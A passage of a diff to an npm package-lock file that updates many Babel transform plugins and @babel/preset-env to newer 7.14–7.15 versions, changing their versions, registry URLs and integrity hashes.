"7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.13.0.tgz", - "integrity": "sha512-EKy/E2NHhY/6Vw5d1k3rgoobftcNUmp9fGjb9XZwQLtTctsRBOTRO7RHHxfIky1ogMN5BxN7p9uMA3SzPfotMQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.14.5.tgz", + "integrity": "sha512-3lpOU8Vxmp3roC4vzFpSdEpGUWSMsHFreTWOMMLzel2gNGfHE5UWIh/LN6ghHs2xurUp4jRFYMUIZhuFbody1g==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.13.0", - "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-module-transforms": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-commonjs": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.13.8.tgz", - "integrity": "sha512-9QiOx4MEGglfYZ4XOnU79OHr6vIWUakIj9b4mioN8eQIoEh+pf5p/zEB36JpDFWA12nNMiRf7bfoRvl9Rn79Bw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.15.4.tgz", + "integrity": "sha512-qg4DPhwG8hKp4BbVDvX1s8cohM8a6Bvptu4l6Iingq5rW+yRUAhe/YRup/YcW2zCOlrysEWVhftIcKzrEZv3sA==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.13.0", - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-simple-access": "^7.12.13", + "@babel/helper-module-transforms": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-simple-access": "^7.15.4", "babel-plugin-dynamic-import-node": "^2.3.3" } }, "@babel/plugin-transform-modules-systemjs": { - "version": "7.13.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.13.8.tgz", - "integrity": "sha512-hwqctPYjhM6cWvVIlOIe27jCIBgHCsdH2xCJVAYQm7V5yTMoilbVMi9f6wKg0rpQAOn6ZG4AOyvCqFF/hUh6+A==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.15.4.tgz", + "integrity": "sha512-fJUnlQrl/mezMneR72CKCgtOoahqGJNVKpompKwzv3BrEXdlPspTcyxrZ1XmDTIr9PpULrgEQo3qNKp6dW7ssw==", "dev": true, "requires": { - "@babel/helper-hoist-variables": "^7.13.0", - "@babel/helper-module-transforms": "^7.13.0", - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-validator-identifier": "^7.12.11", + "@babel/helper-hoist-variables": "^7.15.4", + "@babel/helper-module-transforms": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-identifier": "^7.14.9", "babel-plugin-dynamic-import-node": "^2.3.3" }, "dependencies": { "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true } } }, "@babel/plugin-transform-modules-umd": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.13.0.tgz", - "integrity": "sha512-D/ILzAh6uyvkWjKKyFE/W0FzWwasv6vPTSqPcjxFqn6QpX3u8DjRVliq4F2BamO2Wee/om06Vyy+vPkNrd4wxw==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.14.5.tgz", + "integrity": "sha512-RfPGoagSngC06LsGUYyM9QWSXZ8MysEjDJTAea1lqRjNECE3y0qIJF/qbvJxc4oA4s99HumIMdXOrd+TdKaAAA==", "dev": true, "requires": { - "@babel/helper-module-transforms": "^7.13.0", - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-module-transforms": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.12.13.tgz", - "integrity": "sha512-Xsm8P2hr5hAxyYblrfACXpQKdQbx4m2df9/ZZSQ8MAhsadw06+jW7s9zsSw6he+mJZXRlVMyEnVktJo4zjk1WA==", + "version": "7.14.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.14.9.tgz", + "integrity": "sha512-l666wCVYO75mlAtGFfyFwnWmIXQm3kSH0C3IRnJqWcZbWkoihyAdDhFm2ZWaxWTqvBvhVFfJjMRQ0ez4oN1yYA==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.12.13" + "@babel/helper-create-regexp-features-plugin": "^7.14.5" } }, "@babel/plugin-transform-new-target": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.12.13.tgz", - "integrity": "sha512-/KY2hbLxrG5GTQ9zzZSc3xWiOy379pIETEhbtzwZcw9rvuaVV4Fqy7BYGYOWZnaoXIQYbbJ0ziXLa/sKcGCYEQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.14.5.tgz", + "integrity": "sha512-Nx054zovz6IIRWEB49RDRuXGI4Gy0GMgqG0cII9L3MxqgXz/+rgII+RU58qpo4g7tNEx1jG7rRVH4ihZoP4esQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-object-super": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.12.13.tgz", - "integrity": "sha512-JzYIcj3XtYspZDV8j9ulnoMPZZnF/Cj0LUxPOjR89BdBVx+zYJI9MdMIlUZjbXDX+6YVeS6I3e8op+qQ3BYBoQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.14.5.tgz", + "integrity": "sha512-MKfOBWzK0pZIrav9z/hkRqIk/2bTv9qvxHzPQc12RcVkMOzpIKnFCNYJip00ssKWYkd8Sf5g0Wr7pqJ+cmtuFg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13", - "@babel/helper-replace-supers": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-replace-supers": "^7.14.5" } }, "@babel/plugin-transform-parameters": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.13.0.tgz", - "integrity": "sha512-Jt8k/h/mIwE2JFEOb3lURoY5C85ETcYPnbuAJ96zRBzh1XHtQZfs62ChZ6EP22QlC8c7Xqr9q+e1SU5qttwwjw==", + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.15.4.tgz", + "integrity": "sha512-9WB/GUTO6lvJU3XQsSr6J/WKvBC2hcs4Pew8YxZagi6GkTdniyqp8On5kqdK8MN0LMeu0mGbhPN+O049NV/9FQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-property-literals": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.12.13.tgz", - "integrity": "sha512-nqVigwVan+lR+g8Fj8Exl0UQX2kymtjcWfMOYM1vTYEKujeyv2SkMgazf2qNcK7l4SDiKyTA/nHCPqL4e2zo1A==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.14.5.tgz", + "integrity": "sha512-r1uilDthkgXW8Z1vJz2dKYLV1tuw2xsbrp3MrZmD99Wh9vsfKoob+JTgri5VUb/JqyKRXotlOtwgu4stIYCmnw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-react-display-name": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.12.13.tgz", - "integrity": "sha512-MprESJzI9O5VnJZrL7gg1MpdqmiFcUv41Jc7SahxYsNP2kDkFqClxxTZq+1Qv4AFCamm+GXMRDQINNn+qrxmiA==", + "version": "7.15.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-display-name/-/plugin-transform-react-display-name-7.15.1.tgz", + "integrity": "sha512-yQZ/i/pUCJAHI/LbtZr413S3VT26qNrEm0M5RRxQJA947/YNYwbZbBaXGDrq6CG5QsZycI1VIP6d7pQaBfP+8Q==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-react-jsx": { - "version": "7.13.12", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.13.12.tgz", - "integrity": "sha512-jcEI2UqIcpCqB5U5DRxIl0tQEProI2gcu+g8VTIqxLO5Iidojb4d77q+fwGseCvd8af/lJ9masp4QWzBXFE2xA==", + "version": "7.14.9", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.14.9.tgz", + "integrity": "sha512-30PeETvS+AeD1f58i1OVyoDlVYQhap/K20ZrMjLmmzmC2AYR/G43D4sdJAaDAqCD3MYpSWbmrz3kES158QSLjw==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.12.13", - "@babel/helper-module-imports": "^7.13.12", - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/plugin-syntax-jsx": "^7.12.13", - "@babel/types": "^7.13.12" + "@babel/helper-annotate-as-pure": "^7.14.5", + "@babel/helper-module-imports": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/plugin-syntax-jsx": "^7.14.5", + "@babel/types": "^7.14.9" }, "dependencies": { + "@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "requires": { + "@babel/types": "^7.15.4" + } + }, "@babel/helper-validator-identifier": { - "version": "7.12.11", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", - "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", "dev": true }, "@babel/types": { - "version": "7.13.14", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", - "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", "dev": true, "requires": { - "@babel/helper-validator-identifier": "^7.12.11", - "lodash": "^4.17.19", + "@babel/helper-validator-identifier": "^7.14.9", "to-fast-properties": "^2.0.0" } } } }, "@babel/plugin-transform-react-jsx-development": { - "version": "7.12.17", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.12.17.tgz", - "integrity": "sha512-BPjYV86SVuOaudFhsJR1zjgxxOhJDt6JHNoD48DxWEIxUCAMjV1ys6DYw4SDYZh0b1QsS2vfIA9t/ZsQGsDOUQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.14.5.tgz", + "integrity": "sha512-rdwG/9jC6QybWxVe2UVOa7q6cnTpw8JRRHOxntG/h6g/guAOe6AhtQHJuJh5FwmnXIT1bdm5vC2/5huV8ZOorQ==", "dev": true, "requires": { - "@babel/plugin-transform-react-jsx": "^7.12.17" + "@babel/plugin-transform-react-jsx": "^7.14.5" } }, "@babel/plugin-transform-react-pure-annotations": { - "version": "7.12.1", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.12.1.tgz", - "integrity": "sha512-RqeaHiwZtphSIUZ5I85PEH19LOSzxfuEazoY7/pWASCAIBuATQzpSVD+eT6MebeeZT2F4eSL0u4vw6n4Nm0Mjg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-pure-annotations/-/plugin-transform-react-pure-annotations-7.14.5.tgz", + "integrity": "sha512-3X4HpBJimNxW4rhUy/SONPyNQHp5YRr0HhJdT2OH1BRp0of7u3Dkirc7x9FRJMKMqTBI079VZ1hzv7Ouuz///g==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" + "@babel/helper-annotate-as-pure": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-regenerator": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.13.15.tgz", - "integrity": "sha512-Bk9cOLSz8DiurcMETZ8E2YtIVJbFCPGW28DJWUakmyVWtQSm6Wsf0p4B4BfEr/eL2Nkhe/CICiUiMOCi1TPhuQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.14.5.tgz", + "integrity": "sha512-NVIY1W3ITDP5xQl50NgTKlZ0GrotKtLna08/uGY6ErQt6VEQZXla86x/CTddm5gZdcr+5GSsvMeTmWA5Ii6pkg==", "dev": true, "requires": { "regenerator-transform": "^0.14.2" } }, "@babel/plugin-transform-reserved-words": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.12.13.tgz", - "integrity": "sha512-xhUPzDXxZN1QfiOy/I5tyye+TRz6lA7z6xaT4CLOjPRMVg1ldRf0LHw0TDBpYL4vG78556WuHdyO9oi5UmzZBg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.14.5.tgz", + "integrity": "sha512-cv4F2rv1nD4qdexOGsRQXJrOcyb5CrgjUH9PKrrtyhSDBNWGxd0UIitjyJiWagS+EbUGjG++22mGH1Pub8D6Vg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-runtime": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.13.15.tgz", - "integrity": "sha512-d+ezl76gx6Jal08XngJUkXM4lFXK/5Ikl9Mh4HKDxSfGJXmZ9xG64XT2oivBzfxb/eQ62VfvoMkaCZUKJMVrBA==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.15.8.tgz", + "integrity": "sha512-+6zsde91jMzzvkzuEA3k63zCw+tm/GvuuabkpisgbDMTPQsIMHllE3XczJFFtEHLjjhKQFZmGQVRdELetlWpVw==", "dev": true, "requires": { - "@babel/helper-module-imports": "^7.13.12", - "@babel/helper-plugin-utils": "^7.13.0", - "babel-plugin-polyfill-corejs2": "^0.2.0", - "babel-plugin-polyfill-corejs3": "^0.2.0", - "babel-plugin-polyfill-regenerator": "^0.2.0", + "@babel/helper-module-imports": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "babel-plugin-polyfill-corejs2": "^0.2.2", + "babel-plugin-polyfill-corejs3": "^0.2.5", + "babel-plugin-polyfill-regenerator": "^0.2.2", "semver": "^6.3.0" }, "dependencies": { + "@babel/helper-module-imports": { + "version": "7.15.4", + "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.15.4.tgz", + "integrity": "sha512-jeAHZbzUwdW/xHgHQ3QmWR4Jg6j15q4w/gCfwZvtqOxoo5DKtLHk8Bsf4c5RZRC7NmLEs+ohkdq8jFefuvIxAA==", + "dev": true, + "requires": { + "@babel/types": "^7.15.4" + } + }, + "@babel/helper-validator-identifier": { + "version": "7.15.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz", + "integrity": "sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==", + "dev": true + }, + "@babel/types": { + "version": "7.15.6", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.15.6.tgz", + "integrity": "sha512-BPU+7QhqNjmWyDO0/vitH/CuhpV8ZmK1wpKva8nuyNF5MJfuRNWMc+hc14+u9xT93kvykMdncrJT19h74uB1Ig==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.14.9", + "to-fast-properties": "^2.0.0" + } + }, "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", @@ -2269,96 +2169,99 @@ } }, "@babel/plugin-transform-shorthand-properties": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.12.13.tgz", - "integrity": "sha512-xpL49pqPnLtf0tVluuqvzWIgLEhuPpZzvs2yabUHSKRNlN7ScYU7aMlmavOeyXJZKgZKQRBlh8rHbKiJDraTSw==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.14.5.tgz", + "integrity": "sha512-xLucks6T1VmGsTB+GWK5Pl9Jl5+nRXD1uoFdA5TSO6xtiNjtXTjKkmPdFXVLGlK5A2/or/wQMKfmQ2Y0XJfn5g==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-spread": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.13.0.tgz", - "integrity": "sha512-V6vkiXijjzYeFmQTr3dBxPtZYLPcUfY34DebOU27jIl2M/Y8Egm52Hw82CSjjPqd54GTlJs5x+CR7HeNr24ckg==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.15.8.tgz", + "integrity": "sha512-/daZ8s2tNaRekl9YJa9X4bzjpeRZLt122cpgFnQPLGUe61PH8zMEBmYqKkW5xF5JUEh5buEGXJoQpqBmIbpmEQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1" + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-skip-transparent-expression-wrappers": "^7.15.4" } }, "@babel/plugin-transform-sticky-regex": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.12.13.tgz", - "integrity": "sha512-Jc3JSaaWT8+fr7GRvQP02fKDsYk4K/lYwWq38r/UGfaxo89ajud321NH28KRQ7xy1Ybc0VUE5Pz8psjNNDUglg==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.14.5.tgz", + "integrity": "sha512-Z7F7GyvEMzIIbwnziAZmnSNpdijdr4dWt+FJNBnBLz5mwDFkqIXU9wmBcWWad3QeJF5hMTkRe4dAq2sUZiG+8A==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-template-literals": { - "version": "7.13.0", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.13.0.tgz", - "integrity": "sha512-d67umW6nlfmr1iehCcBv69eSUSySk1EsIS8aTDX4Xo9qajAh6mYtcl4kJrBkGXuxZPEgVr7RVfAvNW6YQkd4Mw==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.14.5.tgz", + "integrity": "sha512-22btZeURqiepOfuy/VkFr+zStqlujWaarpMErvay7goJS6BWwdd6BY9zQyDLDa4x2S3VugxFb162IZ4m/S/+Gg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.13.0" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-typeof-symbol": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.12.13.tgz", - "integrity": "sha512-eKv/LmUJpMnu4npgfvs3LiHhJua5fo/CysENxa45YCQXZwKnGCQKAg87bvoqSW1fFT+HA32l03Qxsm8ouTY3ZQ==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.14.5.tgz", + "integrity": "sha512-lXzLD30ffCWseTbMQzrvDWqljvZlHkXU+CnseMhkMNqU1sASnCsz3tSzAaH3vCUXb9PHeUb90ZT1BdFTm1xxJw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-unicode-escapes": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.12.13.tgz", - "integrity": "sha512-0bHEkdwJ/sN/ikBHfSmOXPypN/beiGqjo+o4/5K+vxEFNPRPdImhviPakMKG4x96l85emoa0Z6cDflsdBusZbw==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.14.5.tgz", + "integrity": "sha512-crTo4jATEOjxj7bt9lbYXcBAM3LZaUrbP2uUdxb6WIorLmjNKSpHfIybgY4B8SRpbf8tEVIWH3Vtm7ayCrKocA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/plugin-transform-unicode-regex": { - "version": "7.12.13", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.12.13.tgz", - "integrity": "sha512-mDRzSNY7/zopwisPZ5kM9XKCfhchqIYwAKRERtEnhYscZB79VRekuRSoYbN0+KVe3y8+q1h6A4svXtP7N+UoCA==", + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.14.5.tgz", + "integrity": "sha512-UygduJpC5kHeCiRw/xDVzC+wj8VaYSoKl5JNVmbP7MadpNinAm3SvZCxZ42H37KZBKztz46YC73i9yV34d0Tzw==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.12.13", - "@babel/helper-plugin-utils": "^7.12.13" + "@babel/helper-create-regexp-features-plugin": "^7.14.5", + "@babel/helper-plugin-utils": "^7.14.5" } }, "@babel/preset-env": { - "version": "7.13.15", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.13.15.tgz", - "integrity": "sha512-D4JAPMXcxk69PKe81jRJ21/fP/uYdcTZ3hJDF5QX2HSI9bBxxYw/dumdR6dGumhjxlprHPE4XWoPaqzZUVy2MA==", + "version": "7.15.8", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.15.8.tgz", + "integrity": "sha512-rCC0wH8husJgY4FPbHsiYyiLxSY8oMDJH7Rl6RQMknbN9oDDHhM9RDFvnGM2MgkbUJzSQB4gtuwygY5mCqGSsA==", "dev": true, "requires": { - "@babel/compat-data": "^7.13.15", - "@babel/helper-compilation-targets": "^7.13.13", - "@babel/helper-plugin-utils": "^7.13.0", - "@babel/helper-validator-option": "^7.12.17", - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.13.12", - "@babel/plugin-proposal-async-generator-functions": "^7.13.15", - "@babel/plugin-proposal-class-properties": "^7.13.0", - "@babel/plugin-proposal-dynamic-import": "^7.13.8", - "@babel/plugin-proposal-export-namespace-from": "^7.12.13", - "@babel/plugin-proposal-json-strings": "^7.13.8", - "@babel/plugin-proposal-logical-assignment-operators": "^7.13.8", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.13.8", - "@babel/plugin-proposal-numeric-separator": "^7.12.13", - "@babel/plugin-proposal-object-rest-spread": "^7.13.8", - "@babel/plugin-proposal-optional-catch-binding": "^7.13.8", - "@babel/plugin-proposal-optional-chaining": "^7.13.12", - "@babel/plugin-proposal-private-methods": "^7.13.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.12.13", + "@babel/compat-data": "^7.15.0", + "@babel/helper-compilation-targets": "^7.15.4", + "@babel/helper-plugin-utils": "^7.14.5", + "@babel/helper-validator-option": "^7.14.5", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.15.4", + "@babel/plugin-proposal-async-generator-functions": "^7.15.8", + "@babel/plugin-proposal-class-properties": "^7.14.5", + "@babel/plugin-proposal-class-static-block": "^7.15.4", + "@babel/plugin-proposal-dynamic-import": "^7.14.5", + "@babel/plugin-proposal-export-namespace-from": "^7.14.5", + "@babel/plugin-proposal-json-strings": "^7.14.5", + "@babel/plugin-proposal-logical-assignment-operators": "^7.14.5", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.14.5", + "@babel/plugin-proposal-numeric-separator": "^7.14.5", + "@babel/plugin-proposal-object-rest-spread": "^7.15.6", + "@babel/plugin-proposal-optional-catch-binding": "^7.14.5", + "@babel/plugin-proposal-optional-chaining": "^7.14.5", + "@babel/plugin-proposal-private-methods": "^7.14.5", + "@babel/plugin-proposal-private-property-in-object": "^7.15.4", + "@babel/plugin-proposal-unicode-property-regex": "^7.14.5", "@babel/plugin-syntax-async-generators": "^7.8.4", "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", "@babel/plugin-syntax-dynamic-import": "^7.8.3", "@babel/plugin-syntax-export-namespace-from": "^7.8.3", "@babel/plugin-syntax-json-strings": "^7.8.3", @@ -2368,62 +2271,62 @@ "@babel/plugin-syntax-object-rest-spread": "^7.8.3", "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", "@babel/plugin-syntax-optional-chaining": "^7.8.3", - "@babel/plugin-syntax-top-level-await": "^7.12.13", - "@babel/plugin-transform-arrow-functions": "^7.13.0", - "@babel/plugin-transform-async-to-generator": "^7.13.0", - "@babel/plugin-transform-block-scoped-functions": "^7.12.13", - "@babel/plugin-transform-block-scoping": "^7.12.13", - "@babel/plugin-transform-classes": "^7.13.0", - "@babel/plugin-transform-computed-properties": "^7.13.0", - "@babel/plugin-transform-destructuring": "^7.13.0", - "@babel/plugin-transform-dotall-regex": "^7.12.13", - "@babel/plugin-transform-duplicate-keys": "^7.12.13", - "@babel/plugin-transform-exponentiation-operator": "^7.12.13", - "@babel/plugin-transform-for-of": "^7.13.0", - "@babel/plugin-transform-function-name": "^7.12.13", - "@babel/plugin-transform-literals": "^7.12.13", - "@babel/plugin-transform-member-expression-literals": "^7.12.13", - "@babel/plugin-transform-modules-amd": "^7.13.0", - "@babel/plugin-transform-modules-commonjs": "^7.13.8", - "@babel/plugin-transform-modules-systemjs": "^7.13.8", - "@babel/plugin-transform-modules-umd": "^7.13.0", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.12.13", - "@babel/plugin-transform-new-target": "^7.12.13", - "@babel/plugin-transform-object-super": "^7.12.13", - "@babel/plugin-transform-parameters": "^7.13.0", - "@babel/plugin-transform-property-literals": "^7.12.13", - "@babel/plugin-transform-regenerator": "^7.13.15", - "@babel/plugin-transform-reserved-words": "^7.12.13", - "@babel/plugin-transform-shorthand-properties": "^7.12.13", - "@babel/plugin-transform-spread": "^7.13.0", - 